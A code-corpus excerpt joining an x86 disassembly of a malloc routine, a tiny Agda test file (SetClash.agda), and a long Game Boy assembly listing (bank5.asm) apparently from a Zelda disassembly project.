133a: 83 c0 07 add $0x7,%eax
133d: c1 e8 03 shr $0x3,%eax
1340: 83 c0 01 add $0x1,%eax
1343: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
1346: a1 4c 1a 00 00 mov 0x1a4c,%eax
134b: 89 45 f0 mov %eax,-0x10(%ebp)
134e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1352: 75 23 jne 1377 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
1354: c7 45 f0 44 1a 00 00 movl $0x1a44,-0x10(%ebp)
135b: 8b 45 f0 mov -0x10(%ebp),%eax
135e: a3 4c 1a 00 00 mov %eax,0x1a4c
1363: a1 4c 1a 00 00 mov 0x1a4c,%eax
1368: a3 44 1a 00 00 mov %eax,0x1a44
base.s.size = 0;
136d: c7 05 48 1a 00 00 00 movl $0x0,0x1a48
1374: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1377: 8b 45 f0 mov -0x10(%ebp),%eax
137a: 8b 00 mov (%eax),%eax
137c: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
137f: 8b 45 f4 mov -0xc(%ebp),%eax
1382: 8b 40 04 mov 0x4(%eax),%eax
1385: 3b 45 ec cmp -0x14(%ebp),%eax
1388: 72 4d jb 13d7 <malloc+0xa6>
if(p->s.size == nunits)
138a: 8b 45 f4 mov -0xc(%ebp),%eax
138d: 8b 40 04 mov 0x4(%eax),%eax
1390: 3b 45 ec cmp -0x14(%ebp),%eax
1393: 75 0c jne 13a1 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
1395: 8b 45 f4 mov -0xc(%ebp),%eax
1398: 8b 10 mov (%eax),%edx
139a: 8b 45 f0 mov -0x10(%ebp),%eax
139d: 89 10 mov %edx,(%eax)
139f: eb 26 jmp 13c7 <malloc+0x96>
else {
p->s.size -= nunits;
13a1: 8b 45 f4 mov -0xc(%ebp),%eax
13a4: 8b 40 04 mov 0x4(%eax),%eax
13a7: 2b 45 ec sub -0x14(%ebp),%eax
13aa: 89 c2 mov %eax,%edx
13ac: 8b 45 f4 mov -0xc(%ebp),%eax
13af: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
13b2: 8b 45 f4 mov -0xc(%ebp),%eax
13b5: 8b 40 04 mov 0x4(%eax),%eax
13b8: c1 e0 03 shl $0x3,%eax
13bb: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
13be: 8b 45 f4 mov -0xc(%ebp),%eax
13c1: 8b 55 ec mov -0x14(%ebp),%edx
13c4: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
13c7: 8b 45 f0 mov -0x10(%ebp),%eax
13ca: a3 4c 1a 00 00 mov %eax,0x1a4c
return (void*)(p + 1);
13cf: 8b 45 f4 mov -0xc(%ebp),%eax
13d2: 83 c0 08 add $0x8,%eax
13d5: eb 3b jmp 1412 <malloc+0xe1>
}
if(p == freep)
13d7: a1 4c 1a 00 00 mov 0x1a4c,%eax
13dc: 39 45 f4 cmp %eax,-0xc(%ebp)
13df: 75 1e jne 13ff <malloc+0xce>
if((p = morecore(nunits)) == 0)
13e1: 83 ec 0c sub $0xc,%esp
13e4: ff 75 ec pushl -0x14(%ebp)
13e7: e8 e5 fe ff ff call 12d1 <morecore>
13ec: 83 c4 10 add $0x10,%esp
13ef: 89 45 f4 mov %eax,-0xc(%ebp)
13f2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
13f6: 75 07 jne 13ff <malloc+0xce>
return 0;
13f8: b8 00 00 00 00 mov $0x0,%eax
13fd: eb 13 jmp 1412 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
13ff: 8b 45 f4 mov -0xc(%ebp),%eax
1402: 89 45 f0 mov %eax,-0x10(%ebp)
1405: 8b 45 f4 mov -0xc(%ebp),%eax
1408: 8b 00 mov (%eax),%eax
140a: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
140d: e9 6d ff ff ff jmp 137f <malloc+0x4e>
}
1412: c9 leave
1413: c3 ret
|
tests/covered/SetClash.agda | andrejtokarcik/agda-semantics | 3 | 16502 | module SetClash where
postulate x : Set
y : Set1
y = x
|
bank5.asm | alexsteb/zelda_gb_disassembly | 3 | 172246 | <reponame>alexsteb/zelda_gb_disassembly<filename>bank5.asm
ld [hl], b
nop
ld [hl], b
jr nz, 0.l_4077
nop
ld [hl], d
jr nz, 0.l_407d
nop
halt
nop
ld a, b
nop
ld a, d
nop
halt
jr nz, 0.l_4087
jr nz, 0.l_408f
jr nz, 0.l_408f
jr nz, 0.l_4095
nop
ld a, h
jr nz, 0.l_405d
nop
ld b, b
jr nz, 0.l_4063
nop
ld b, d
jr nz, 0.l_4069
nop
ld b, [hl]
nop
ld c, b
nop
ld c, d
nop
ld b, [hl]
jr nz, 0.l_4073
jr nz, 0.l_407b
jr nz, 0.l_407b
jr nz, 0.l_4081
nop
ld c, h
jr nz, 0.l_40b2
ld [$d154], a
ld a, [$db56]
cp $01
jr nz, 0.l_4054
ldh a, [$ff00 + $f6]
ld hl, $c3e0
add hl, bc
ld [hl], a
ld hl, $c220
add hl, bc
ld [hl], b
ld hl, $c230
add hl, bc
ld [hl], b
ld de, $401c
ld a, [$db56]
and a
jr nz, 0.l_4060
ld de, $4000
call func_3c3b
ld a, [$c124]
and a
jr z, 0.l_407e
ld a, [$db56]
cp $01
jp z, .l_40a4
ld hl, $c3e0
add hl, bc
ldh a, [$ff00 + $f6]
cp [hl]
jp z, .l_40a7
jp .l_40a4
ld a, [$c1a8]
ld hl, $c19f
or [hl]
ld hl, $c14f
or [hl]
jp nz, .l_40a4
ld a, [$c16b]
cp $04
ret nz
call func_44d4
call func_08e2
ld a, [$db56]
and a
jr nz, 0.l_40a1
call func_3beb
call func_40a8
call func_425b
ret
ld hl, $c440
add hl, bc
ld a, [hl]
rst 0
or d
ld b, b
jp [hl]
ld b, b
ld hl, $c200
add hl, bc
ld a, [hl]
add a, $04
ld [hl], a
ld hl, $c2b0
add hl, bc
ld [hl], a
ld e, $10
ld hl, $d100
ldi [hl], a
dec e
jr nz, 0.l_40c4
ld hl, $c210
add hl, bc
ld a, [hl]
add a, $08
ld [hl], a
ld hl, $c2c0
add hl, bc
ld [hl], a
ld hl, $c310
add hl, bc
sub a, [hl]
ld e, $10
ld hl, $d110
ldi [hl], a
dec e
jr nz, 0.l_40df
ld hl, $c440
add hl, bc
inc [hl]
ret
ld a, [$db56]
and a
jr z, 0.l_413a
cp $80
jr z, 0.l_40fd
ldh a, [$ff00 + $98]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $b3]
ldh [$ff00 + $d8], a
jr 0.l_412c
ldh a, [$ff00 + $99]
sub a, $40
add a, $10
cp $20
jr nc, 0.l_412a
ldh a, [$ff00 + $98]
sub a, $88
add a, $10
cp $20
jr nc, 0.l_412a
ld a, [$c133]
and a
jr z, 0.l_412a
ld a, $10
ld [$d368], a
ld a, $6c
call func_2185
ld a, $18
ldh [$ff00 + $f3], a
ld a, $01
ld [$db56], a
jr 0.l_413a
ldh a, [$ff00 + $d7]
ld hl, $c2b0
add hl, bc
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c2c0
add hl, bc
ld [hl], a
ld hl, $c2b0
add hl, bc
ld a, [hl]
ld [$d150], a
ld hl, $c2c0
add hl, bc
ld a, [hl]
ld [$d151], a
call func_7a0a
ld hl, $c320
add hl, bc
dec [hl]
dec [hl]
push hl
pop de
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
ldh [$ff00 + $e8], a
jr z, 0.l_4163
xor a
ld [hl], a
ld [de], a
call func_3b9e
ldh a, [$ff00 + $f0]
rst 0
add a, e
ld b, c
call nc, func_f141
ld b, c
ld d, $42
pop af
ld b, c
inc b
ld [$080c], sp
<error>
ldhl sp, d
<error>
ldhl sp, d
<error>
ldhl sp, d
inc b
ld [$080c], sp
<error>
ldhl sp, d
call func_0891
jr z, 0.l_41b4
call func_088c
jr nz, 0.l_41b3
call func_27ed
and $3f
add a, $20
ld [hl], a
call func_3b8d
call func_27ed
and $07
ld e, a
ld d, b
ld hl, $4173
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $417b
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ret
call func_0891
ld [hl], $28
ld a, [$db56]
and a
jr z, 0.l_41c3
call func_42a0
ret
ld hl, $c320
add hl, bc
ld [hl], $20
call func_3b8d
ld [hl], $02
ld a, $20
call func_3c25
ret
call func_088c
jr nz, 0.l_41df
ld [hl], $20
call func_3b8d
ld [hl], b
ldh a, [$ff00 + $e8]
and a
jr z, 0.l_41ea
ld hl, $c320
add hl, bc
ld [hl], $10
call func_79d1
call func_4230
ret
call func_0891
jr z, 0.l_41ff
call func_79d1
call func_4230
dec e
jr z, 0.l_420c
call func_3daf
call func_3b8d
ld [hl], $03
call func_0891
ld [hl], $10
ld a, [$db56]
and a
jr z, 0.l_4215
call func_433e
ret
call func_0891
jr nz, 0.l_422f
call func_27ed
and $3f
add a, $30
ld [hl], a
ld a, [$db56]
and a
jr z, 0.l_422b
ld [hl], $10
call func_3b8d
ld [hl], b
ret
ld e, $01
ld hl, $c2b0
add hl, bc
ld a, [hl]
ld hl, $c200
add hl, bc
sub a, [hl]
add a, $20
cp $40
jr c, 0.l_4246
ldh a, [$ff00 + $ee]
ld [hl], a
inc e
ld hl, $c2c0
add hl, bc
ld a, [hl]
ld hl, $c210
add hl, bc
sub a, [hl]
add a, $20
cp $40
jr c, 0.l_425a
ldh a, [$ff00 + $ef]
ld [hl], a
inc e
ret
call func_43b1
call func_4407
ld a, [$c3c0]
ld e, a
ld d, $00
ld hl, $c030
add hl, de
push hl
pop de
push bc
ld c, $05
ldh a, [$ff00 + $e7]
xor c
rr a
jr c, 0.l_4296
ld hl, $d110
add hl, bc
ld a, [hl]
ld [de], a
inc de
ld hl, $d100
add hl, bc
ld a, [hl]
add a, $04
ld [de], a
inc de
ld a, [$db56]
and a
ld a, $4e
jr nz, 0.l_4290
ld a, $7e
ld [de], a
inc de
ld a, $00
ld [de], a
inc de
dec c
jr nz, 0.l_4270
pop bc
ld a, $03
call func_3dd0
ret
ld a, [$db56]
cp $80
jp z, .l_4338
call func_27ed
ld d, b
and $01
jr nz, 0.l_42b8
ld e, $0f
ld a, $ff
ldh [$ff00 + $d7], a
jr 0.l_42c0
ld e, $00
ld a, $01
ldh [$ff00 + $d7], a
ld a, $10
ldh [$ff00 + $d8], a
ld a, e
cp c
jr z, 0.l_432c
ld hl, $c280
add hl, de
ld a, [hl]
and a
jr z, 0.l_432c
cp $01
jr z, 0.l_432c
ld hl, $c3b0
add hl, de
ld a, [hl]
dec a
jr z, 0.l_432c
push de
ld hl, $c3a0
add hl, de
ld e, [hl]
call func_37e6
pop de
and a
jr z, 0.l_432c
ld hl, $c200
add hl, de
ldh a, [$ff00 + $98]
sub a, [hl]
add a, $2f
cp $5e
jr nc, 0.l_432c
ld hl, $c210
add hl, de
ldh a, [$ff00 + $99]
sub a, [hl]
add a, $2f
cp $5e
jr nc, 0.l_432c
ld a, e
ld [$d152], a
ldh a, [$ff00 + $99]
push af
ldh a, [$ff00 + $98]
push af
ld a, [hl]
ldh [$ff00 + $99], a
ld hl, $c200
add hl, de
ld a, [hl]
ldh [$ff00 + $98], a
ld a, $30
call func_3c25
pop af
ldh [$ff00 + $98], a
pop af
ldh [$ff00 + $99], a
ld hl, $c320
add hl, bc
ld [hl], $10
call func_3b8d
ld [hl], $04
ret
ld hl, $ffd7
ld a, e
add a, [hl]
ld e, a
ld hl, $ffd8
cp [hl]
jr nz, 0.l_42c2
call func_0891
ld [hl], $10
ret
ld a, [$d152]
ld e, a
ld d, b
ld hl, $c280
add hl, de
ld a, [hl]
and a
ret z
ld hl, $c200
add hl, de
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $0e
cp $1a
ret nc
ld hl, $c210
add hl, de
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $10
cp $20
ret nc
ld hl, $c3a0
add hl, de
ld a, [hl]
cp $3d
jr nz, 0.l_4389
ld hl, $c440
add hl, de
ld a, [hl]
and a
ret z
ld a, [$c19f]
and a
ret nz
call func_0891
ld [hl], b
ld hl, $c300
add hl, bc
ld a, [hl]
and a
ret nz
ld [hl], $80
ld a, $15
jp $2185
ld hl, $c420
add hl, de
ld a, [hl]
and a
ret nz
ld a, $03
ldh [$ff00 + $f2], a
ld hl, $c3a0
add hl, de
ld a, [hl]
cp $ad
jr nz, 0.l_43a9
ld hl, $c420
add hl, de
ld [hl], $18
ld hl, $c3d0
add hl, de
inc [hl]
ret
push bc
push de
pop bc
call func_3f7a
pop bc
ret
ld hl, $c200
add hl, bc
ld a, [hl]
ld [$d100], a
ld hl, $c210
add hl, bc
ld a, [hl]
ld hl, $c310
add hl, bc
sub a, [hl]
ld [$d110], a
ld de, $d100
ld hl, $d101
push bc
ld c, $05
ld a, [de]
sub a, [hl]
add a, $07
cp $0e
jr c, 0.l_43e1
bit 7, a
jr nz, 0.l_43df
inc [hl]
inc [hl]
inc [hl]
inc [hl]
dec [hl]
dec [hl]
inc hl
inc de
dec c
jr nz, 0.l_43cf
ld de, $d110
ld hl, $d111
ld c, $05
ld a, [de]
sub a, [hl]
add a, $07
cp $0e
jr c, 0.l_4400
bit 7, a
jr nz, 0.l_43fe
inc [hl]
inc [hl]
inc [hl]
inc [hl]
dec [hl]
dec [hl]
inc hl
inc de
dec c
jr nz, 0.l_43ee
pop bc
ret
ld a, [$db56]
and a
ret z
cp $80
ret z
ldh a, [$ff00 + $9b]
ld hl, $ff9a
or [hl]
ld hl, $ffa3
or [hl]
jp z, .l_44d3
ld hl, $c2b0
add hl, bc
ld a, [hl]
ld [$d106], a
ld hl, $c2c0
add hl, bc
ld a, [hl]
ld [$d116], a
ld de, $d106
ld hl, $d105
push bc
ld bc, $0006
ld a, [de]
sub a, [hl]
add a, $07
cp $0e
jr c, 0.l_4451
bit 7, a
jr nz, 0.l_4448
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
dec [hl]
dec [hl]
dec [hl]
ld a, c
cp $01
jr nz, 0.l_4451
inc b
dec hl
dec de
dec c
jr nz, 0.l_4436
ld de, $d116
ld hl, $d115
ld c, $06
ld a, [de]
sub a, [hl]
add a, $07
cp $0e
jr c, 0.l_447c
bit 7, a
jr nz, 0.l_4470
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
dec [hl]
dec [hl]
dec [hl]
ld a, c
cp $01
jr nz, 0.l_447c
ld a, b
or $02
ld b, a
dec hl
dec de
dec c
jr nz, 0.l_445e
ld a, b
ldh [$ff00 + $d7], a
pop bc
and $01
jr z, 0.l_44a2
ld hl, $d110
ld e, $06
ld a, [$d151]
sub a, [hl]
jr z, 0.l_449b
bit 7, a
jr nz, 0.l_449a
inc [hl]
inc [hl]
dec [hl]
inc hl
dec e
jr nz, 0.l_448e
call func_44be
ldh a, [$ff00 + $d7]
and $02
jr z, 0.l_44d3
ld hl, $d100
ld e, $06
ld a, [$d150]
sub a, [hl]
jr z, 0.l_44ba
bit 7, a
jr nz, 0.l_44b9
inc [hl]
inc [hl]
dec [hl]
inc hl
dec e
jr nz, 0.l_44ad
ld a, [$d110]
ld hl, $c310
add hl, bc
add a, [hl]
ld hl, $c210
add hl, bc
ld [hl], a
ld a, [$d100]
ld hl, $c200
add hl, bc
ld [hl], a
ret
ld hl, $c240
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, bc
or [hl]
ret z
ld hl, $c240
add hl, bc
ld a, [hl]
ld d, a
bit 7, a
jr z, 0.l_44eb
cpl
inc a
ld e, a
ld hl, $c250
add hl, bc
ld a, [hl]
bit 7, a
jr z, 0.l_44f7
cpl
inc a
cp e
jr nc, 0.l_4508
bit 7, d
jr nz, 0.l_4502
ld e, $04
jr $14513
ld e, $02
call func_4513
ret
bit 7, [hl]
jr z, 0.l_4511
ld a, $06
jp $3b87
ld e, $00
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
add a, e
jp $3b87
ld d, b
nop
ld d, d
nop
ld d, h
nop
ld d, [hl]
nop
ld d, d
jr nz, 0.l_4579
jr nz, 0.l_4581
jr nz, 0.l_4581
jr nz, 0.l_4550
ld h, b
jp .l_3609
ld c, h
ld hl, $c380
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_4542
ldh a, [$ff00 + $f1]
add a, $02
ldh [$ff00 + $f1], a
ld de, $451e
call func_3c3b
ldh a, [$ff00 + $ea]
cp $07
jr nz, 0.l_4561
ldh a, [$ff00 + $e7]
and $1f
jr nz, 0.l_4558
ld a, $13
ldh [$ff00 + $f3], a
ldh a, [$ff00 + $e7]
rr a
rr a
and $01
jp $3b87
call func_7965
call func_3beb
call func_08e2
ldh a, [$ff00 + $f0]
cp $03
jr z, 0.l_458a
call func_7a0a
ld hl, $c320
add hl, bc
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
ldh [$ff00 + $e8], a
jr z, 0.l_458a
xor a
ld [hl], a
ld hl, $c320
add hl, bc
ld [hl], a
ld hl, $c420
add hl, bc
ld a, [hl]
and a
jr z, 0.l_45c9
cp $08
jr nz, 0.l_45c1
ld a, [$db73]
and a
jr z, 0.l_45b7
dec [hl]
ld a, [$c16b]
cp $04
jr nz, 0.l_45b7
call func_27ed
and $3f
jr nz, 0.l_45b2
ld a, $76
call func_218e
jr 0.l_45b7
ld a, $8f
call func_2197
ld hl, $c2b0
add hl, bc
ld a, [hl]
cp $23
jr z, 0.l_45c1
inc [hl]
call func_3b8d
ld a, $02
ld [hl], a
ldh [$ff00 + $f0], a
call func_3bd5
jr nc, 0.l_461b
ldh a, [$ff00 + $f0]
cp $03
jr z, 0.l_461b
ld a, [$c19b]
and a
jr nz, 0.l_461b
ld a, [$db00]
cp $03
jr nz, 0.l_45e9
ldh a, [$ff00 + $cc]
and $20
jr nz, 0.l_45f6
jr 0.l_461b
ld a, [$db01]
cp $03
jr nz, 0.l_461b
ldh a, [$ff00 + $cc]
and $10
jr z, 0.l_461b
ld a, [$c3cf]
and a
jr nz, 0.l_461b
inc a
ld [$c3cf], a
ld hl, $c280
add hl, bc
ld [hl], $07
ld hl, $c490
add hl, bc
ld [hl], b
ldh a, [$ff00 + $9e]
ld [$c15d], a
call func_0891
ld [hl], $02
ld hl, $fff3
ld [hl], $02
ret
ldh a, [$ff00 + $f0]
rst 0
ld l, $46
ld l, a
ld b, [hl]
cp h
ld b, [hl]
ld e, e
ld b, a
nop
inc b
ld b, $04
nop
<error>
ld a, [$affc]
call func_3b87
call func_0891
jr nz, 0.l_466e
call func_27ed
and $07
ld e, a
ld d, b
ld hl, $4626
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld a, e
and $04
ld hl, $c380
add hl, bc
ld [hl], a
call func_27ed
and $07
ld e, a
ld hl, $4626
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
call func_0891
call func_27ed
and $1f
add a, $30
ld [hl], a
call func_3b8d
ret
call func_79d1
call func_3b9e
ldh a, [$ff00 + $e8]
and a
jr z, 0.l_4691
call func_0891
jr nz, 0.l_4686
ld [hl], $30
call func_3b8d
ld [hl], b
ret
ld hl, $c320
add hl, bc
ld [hl], $05
ld hl, $c310
add hl, bc
inc [hl]
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
call func_3b87
ret
jr z, 0.l_46e6
ld l, b
adc a, b
jr 0.l_46da
ld e, b
ld a, b
nop
nop
nop
nop
and b
and b
and b
and b
nop
nop
nop
nop
sub a, b
sub a, b
sub a, b
sub a, b
jr nz, 0.l_46f6
ld h, b
add a, b
jr nz, 0.l_46fa
ld h, b
add a, b
ld hl, $c310
add hl, bc
ldh a, [$ff00 + $e7]
xor c
and $1f
or [hl]
jr nz, 0.l_46df
ld a, $0c
call func_3c30
ldh a, [$ff00 + $d7]
cpl
inc a
ld hl, $c250
add hl, bc
ld [hl], a
ldh a, [$ff00 + $d8]
cpl
inc a
ld hl, $c240
add hl, bc
ld [hl], a
call func_79d1
call func_3b9e
ldh a, [$ff00 + $e7]
rr a
rr a
and $01
call func_3b87
call func_7a24
ld hl, $c380
add hl, bc
ld a, e
xor $01
ld [hl], a
ld hl, $c2b0
add hl, bc
ld a, [hl]
cp $23
jr nz, 0.l_475a
ld hl, $dba5
ldh a, [$ff00 + $e7]
and $0f
or [hl]
jr nz, 0.l_475a
ld a, $6c
ld e, $07
call func_3c13
jr c, 0.l_475a
ld a, $13
ldh [$ff00 + $f3], a
ld hl, $c290
add hl, de
ld [hl], $03
ld hl, $c310
add hl, de
ld [hl], $10
ld hl, $c340
add hl, de
ld [hl], $12
ld hl, $c350
add hl, de
ld [hl], $80
ld hl, $c430
add hl, de
ld [hl], $40
push bc
call func_27ed
and $0f
ld c, a
ld hl, $469c
add hl, bc
ld a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $46ac
add hl, bc
ld a, [hl]
ld hl, $c210
add hl, de
ld [hl], a
push de
pop bc
ld a, $18
call func_3c25
pop bc
ret
call func_3bbf
call func_79d1
ldh a, [$ff00 + $ee]
cp $a9
jp nc, $7a6b
ldh a, [$ff00 + $ec]
cp $91
jp nc, $7a6b
ldh a, [$ff00 + $e7]
rr a
rr a
and $01
call func_3b87
ld e, $00
ld hl, $c240
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_4784
inc e
ld hl, $c380
add hl, bc
ld [hl], e
jp .l_29c5
ret
ldh a, [$ff00 + $00]
ld h, b
nop
ldh a, [$ff00 + $08]
ld h, d
nop
nop
nop
ld h, h
nop
nop
ld [$0066], sp
ldh a, [$ff00 + $00]
ld l, b
nop
ldh a, [$ff00 + $08]
ld l, d
nop
nop
nop
ld l, h
nop
nop
ld [$006e], sp
ldh a, [$ff00 + $00]
ld h, d
jr nz, 0.l_47a2
ld [$2060], sp
nop
nop
ld h, [hl]
jr nz, 0.l_47ba
ld [$2064], sp
ldh a, [$ff00 + $00]
ld l, b
nop
ldh a, [$ff00 + $08]
ld l, d
nop
nop
nop
ld l, h
nop
nop
ld [$006e], sp
ldh a, [$ff00 + $f1]
rl a
rl a
rl a
rl a
and $f0
ld e, a
ld d, b
ld hl, $478d
add hl, de
ld c, $04
call func_3d26
ret
call func_47cd
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
rr a
rr a
rr a
rr a
and $03
call func_3b87
call func_5409
ldh a, [$ff00 + $f0]
rst 0
inc bc
ld c, b
ld d, c
ld c, b
ld h, e
ld c, b
sbc a, b
ld c, b
ret nz
ld c, b
ld a, [$c19f]
and a
jr nz, 0.l_4844
ld a, [$db4b]
and a
jr z, 0.l_483b
call func_544c
ld a, e
and a
jr z, 0.l_4844
ld hl, $db00
ld a, [hl]
cp $0c
jr nz, 0.l_482d
ldh a, [$ff00 + $cc]
and $20
jr z, 0.l_4844
xor a
ld [$c1a9], a
ld [$c1a8], a
jr 0.l_4838
inc hl
ld a, [hl]
cp $0c
jr nz, 0.l_483b
ldh a, [$ff00 + $cc]
and $10
ret z
ld [hl], b
jr 0.l_4845
call func_544c
ret nc
ld a, $0c
call func_2197
ret
xor a
ld [$db4b], a
call func_0891
ld [hl], $04
jp $3b8d
call func_0891
ret nz
ld a, $09
call func_2197
call func_0891
ld [hl], $c0
call func_3b8d
ret
ld a, [$c19f]
and a
jr nz, 0.l_4897
ld a, [$c10b]
and a
jr nz, 0.l_4879
ldh a, [$ff00 + $b0]
ld [$d368], a
ld a, $01
ld [$c10b], a
ldh [$ff00 + $a1], a
ld hl, $c3d0
add hl, bc
inc [hl]
inc [hl]
inc [hl]
inc [hl]
call func_0891
ret nz
ld [$c10b], a
ldh a, [$ff00 + $b0]
ld [$d368], a
ld a, $fe
call func_2197
call func_3b8d
ret
ld a, [$c19f]
and a
ret nz
ld a, $2a
ld [$c1aa], a
ld a, $03
ld [$c1a9], a
ld d, $0c
call func_5261
ld a, [$db4c]
add a, $20
daa
ld [$db4c], a
ld a, $0b
ldh [$ff00 + $a5], a
ld a, $01
ldh [$ff00 + $f2], a
call func_3b8d
ret
ld a, b
nop
ld a, d
nop
ld a, d
jr nz, 0.l_4940
jr nz, 0.l_4946
nop
ld a, [hl]
nop
ld a, b
nop
ld a, d
nop
ld [hl], b
nop
ld [hl], d
nop
ld [hl], h
nop
halt
nop
halt
jr nz, 0.l_4950
jr nz, 0.l_4950
jr nz, 0.l_4950
jr nz, 0.l_493c
jr nz, 0.l_493c
jr nz, 0.l_493e
nop
ld e, d
nop
ld d, b
nop
ld d, d
nop
ld d, b
nop
ld d, d
nop
ld d, h
nop
ld d, [hl]
nop
nop
nop
jr nz, 0.l_48f9
nop
ld [$0022], sp
nop
nop
jr nz, 0.l_4901
nop
ld [$0022], sp
pop af
ld a, [$002a]
pop af
ld [bc], a
ldi a, [hl]
jr nz, 0.l_490e
nop
inc h
nop
nop
ld [$0028], sp
ld a, [$db95]
cp $01
jr nz, 0.l_4940
ld hl, $c340
add hl, bc
ld [hl], $c4
ld hl, $c3d0
add hl, bc
ld a, [hl]
ld hl, $48f5
cp $70
jr nz, 0.l_4931
ld hl, $4905
ld c, $04
call func_3d26
ld hl, $c3d0
add hl, bc
ld a, [hl]
cp $70
ret z
inc [hl]
ret
ld a, [$dba5]
and a
jp nz, .l_4b68
ldh a, [$ff00 + $f8]
and $10
jp nz, $7a6b
ldh a, [$ff00 + $f0]
and a
jr nz, 0.l_497c
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $01
call func_3b87
ldh a, [$ff00 + $99]
cp $30
jr nc, 0.l_4977
ld a, $01
ld [$c10c], a
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
add a, $02
call func_3b87
jr 0.l_497c
ld hl, $c440
add hl, bc
ld [hl], b
ld de, $48c1
call func_3c3b
call func_7965
ldh a, [$ff00 + $f0]
rst 0
sub a, b
ld c, c
jp nz, .l_ec49
ld c, d
ldd [hl], a
ld c, e
call func_5409
ldh a, [$ff00 + $99]
cp $20
jr nc, 0.l_49a8
ld hl, $c440
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_49a8
ld [hl], $01
ld a, $21
jp $2197
call func_544c
jr nc, 0.l_49b7
ld a, [$c19b]
and a
ret nz
ld a, $0d
jp $2197
ld hl, $c1ad
ld [hl], b
ret
nop
inc b
dec b
ld b, $07
ld bc, $023e
ldh [$ff00 + $a1], a
xor a
ld [$c19b], a
call func_7a44
ld a, e
xor $01
ldh [$ff00 + $9e], a
push bc
call func_087c
pop bc
ld hl, $c2d0
add hl, bc
ld e, [hl]
ld hl, $c2c0
add hl, bc
ld a, [hl]
add a, e
ld [hl], a
jr nc, 0.l_49f1
ld hl, $c390
add hl, bc
ld a, [hl]
inc a
cp $06
jr nz, 0.l_49f0
xor a
ld [hl], a
ld hl, $c390
add hl, bc
ld e, [hl]
ld d, b
ld hl, $49bc
add hl, de
ld a, [hl]
call func_3b87
call func_0887
jr nz, 0.l_4a49
ld a, $02
call func_3c01
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ldh a, [$ff00 + $da]
ld hl, $c310
add hl, de
ld [hl], a
ld hl, $c440
add hl, de
ld [hl], $4c
ld hl, $c2e0
add hl, de
ld [hl], $20
ld a, $09
call func_3b87
ld hl, $c320
add hl, bc
ld [hl], b
call func_3b8d
ldh a, [$ff00 + $f6]
ld e, a
ld d, b
ld hl, $d800
add hl, de
ld a, [hl]
or $10
ld [hl], a
ld a, $01
ld [$db48], a
ret
ld hl, $c2d0
add hl, bc
ldh a, [$ff00 + $e7]
and $01
jr nz, 0.l_4a59
ld a, [hl]
cp $f0
jr nc, 0.l_4a59
inc [hl]
call func_79d1
call func_3b9e
call func_0887
cp $06
jr nc, 0.l_4a97
ldh a, [$ff00 + $ef]
cp $30
jr nc, 0.l_4a70
ld [hl], $08
jr 0.l_4a97
ld hl, $c320
add hl, bc
inc [hl]
nop
ld hl, $c240
add hl, bc
ld a, [hl]
and a
jr z, 0.l_4a85
and $80
jr z, 0.l_4a84
inc [hl]
inc [hl]
dec [hl]
ld hl, $c250
add hl, bc
ld a, [hl]
and a
jr z, 0.l_4a94
and $80
jr z, 0.l_4a93
inc [hl]
inc [hl]
dec [hl]
jp $7a0a
ld hl, $c2a0
add hl, bc
ld a, [hl]
and $03
jr z, 0.l_4aac
ld hl, $c240
add hl, bc
ld a, [hl]
cpl
inc a
ld [hl], a
ld a, $09
ldh [$ff00 + $f2], a
ld hl, $c2a0
add hl, bc
ld a, [hl]
and $0c
jr z, 0.l_4ac1
ld hl, $c250
add hl, bc
ld a, [hl]
cpl
inc a
ld [hl], a
ld a, $09
ldh [$ff00 + $f2], a
call func_0887
cp $60
jr nc, 0.l_4aeb
ldh a, [$ff00 + $e7]
and $03
jr nz, 0.l_4aeb
ld hl, $c240
call func_4ad7
ld hl, $c250
add hl, bc
ld a, [hl]
cp $30
jr z, 0.l_4aeb
cp $d0
jr z, 0.l_4aeb
ld e, $01
bit 7, a
jr z, 0.l_4ae9
ld e, $ff
add a, e
ld [hl], a
ret
call func_7a0a
ld hl, $c320
add hl, bc
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_4b31
ld [hl], b
xor a
